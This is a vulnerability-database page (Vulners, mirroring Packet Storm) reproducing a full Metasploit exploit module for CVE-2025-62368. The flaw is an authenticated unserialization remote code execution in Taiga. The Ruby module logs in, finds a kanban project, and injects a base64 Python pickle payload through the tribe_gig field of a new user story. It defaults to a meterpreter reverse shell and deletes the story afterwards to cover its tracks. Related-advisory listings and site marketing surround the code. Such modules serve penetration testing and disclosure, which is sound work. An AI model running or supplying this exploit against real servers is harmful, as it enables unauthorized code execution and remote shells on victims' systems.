Lucene search
K

๐Ÿ“„ Taiga Tribe_gig Authenticated Unserialize Remote Code Execution

๐Ÿ—“๏ธย 07 Jan 2026ย 00:00:00Reported byย rootjog, whotwagnerTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 130ย Views

Taiga tribe_gig authenticated unserialize remote code execution by creating a userstory.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-62368
28 Oct 202523:12
โ€“circl
CNNVD
Taiga ไปฃ็ ้—ฎ้ข˜ๆผๆดž
28 Oct 202500:00
โ€“cnnvd
CVE
CVE-2025-62368
28 Oct 202520:08
โ€“cve
Cvelist
CVE-2025-62368 Taiga Authenticated Remote Code Execution
28 Oct 202520:08
โ€“cvelist
EUVD
EUVD-2025-36562
28 Oct 202520:08
โ€“euvd
Metasploit
Taiga tribe_gig authenticated unserialize remote code execution
7 Jan 202618:58
โ€“metasploit
NVD
CVE-2025-62368
28 Oct 202521:15
โ€“nvd
OSV
CVE-2025-62368 Taiga Authenticated Remote Code Execution
28 Oct 202520:08
โ€“osv
Positive Technologies
PT-2025-44208
28 Oct 202500:00
โ€“ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 01/09/2026
9 Jan 202623:07
โ€“rapid7blog
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class TaigaClientException < StandardError; end
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
            'Description' => %q{
              This module exploits an unserialization flaw by
              creating a userstory in a project.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'rootjog',      # Discovery
              'whotwagner'    # Metasploit Module
            ],
            'References' => [
              ['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
              ['CVE', '2025-62368']
            ],
            'Platform' => %w[linux unix python],
            'Targets' => [
              [
                'Python payload',
                {
                  'Arch' => [ ARCH_PYTHON ],
                  'Platform' => 'python',
                  'Type' => :python,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ],
                  'Platform' => %w[unix linux],
                  'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'SSL' => false
            },
            'Privileged' => false,
            'DisclosureDate' => '2025-10-28',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
            OptString.new('USERNAME', [true, 'The username to authenticate as']),
            OptString.new('PASSWORD', [true, 'The password to authenticate with'])
          ]
        )
      end
    
      def authenticate(user, pass)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => {
            username: user,
            password: pass,
            type: 'normal'
          }.to_json,
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Login failed' if res&.code != 200
    
        parsed_json = res.get_json_document
        @token = parsed_json['auth_token']
        @taiga_user_id = parsed_json['id']
      end
    
      def get_project
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
          'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
          'method' => 'GET',
          'ctype' => 'application/json',
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Get projects failed!' if res&.code != 200
    
        projects = res.get_json_document
        projects.each do |project|
          @taiga_project = project['id'] if project['is_kanban_activated']
        end
    
        raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
      end
    
      def get_status
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
          'vars_get' => { 'project' => @taiga_project },
          'method' => 'GET',
          'ctype' => 'application/json',
          'keep_cookies' => true
        )
    
        raise TaigaClientException, 'Get status failed!' if res&.code != 200
    
        status_data = res.get_json_document
        raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'
    
        status_data['statuses'].each do |stat|
          return stat['id'] if stat['name'] == 'New'
        end
      end
    
      def delete_userstory(id)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
          'method' => 'DELETE',
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Bearer #{@token}" },
          'keep_cookies' => true
        )
      end
    
      def send_payload(payload, project_status)
        temp_project = Rex::Text.rand_text_alpha(10..15)
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'headers' => { 'Authorization' => "Bearer #{@token}" },
          'data' => {
            _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
            tribe_gig: payload.to_s
          }.to_json
        )
      end
    
      def check
        cookie_jar.clear
        begin
          authenticate(datastore['USERNAME'], datastore['PASSWORD'])
          get_project
          project_status = get_status
        rescue TaigaClientException => e
          return Exploit::CheckCode::Unknown(e)
        end
        sleep_time = rand(5..10)
        pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
        command = Rex::Text.encode_base64(pl)
        res, elapsed_time = Rex::Stopwatch.elapsed_time do
          send_payload(command, project_status)
        end
        return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201
    
        user_story_id = res.get_json_document['id']
        res = delete_userstory(user_story_id)
        print_warning('Cleanup failed') unless res&.code == 204
    
        print_status("Elapsed time: #{elapsed_time} seconds.")
        return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time
    
        Exploit::CheckCode::Safe('Target is not vulnerable')
      end
    
      def execute_command(cmd, _opts = {})
        # calls some method to inject cmd to the vulnerable code.
        begin
          project_status = get_status
        rescue TaigaClientException => e
          fail_with(Failure::UnexpectedReply, e)
        end
        print_status('Sending payload..')
        res = send_payload(cmd, project_status)
        print_good('Payload sent')
        user_story_id = res.get_json_document['id']
        print_status('Cleanup..')
        res = delete_userstory(user_story_id)
        print_warning('Cleanup failed') unless res&.code == 204
        print_good('Userstory deleted')
      end
    
      def exploit
        cookie_jar.clear
    
        begin
          authenticate(datastore['USERNAME'], datastore['PASSWORD'])
          get_project
        rescue TaigaClientException => e
          fail_with(Failure::UnexpectedReply, e)
        end
    
        if target['Type'] == :python
          command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
        else
          command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
        end
        data = Rex::Text.encode_base64(command)
        execute_command(data)
      end
    end

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2026 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 3.19
EPSS0.6408
SSVC
130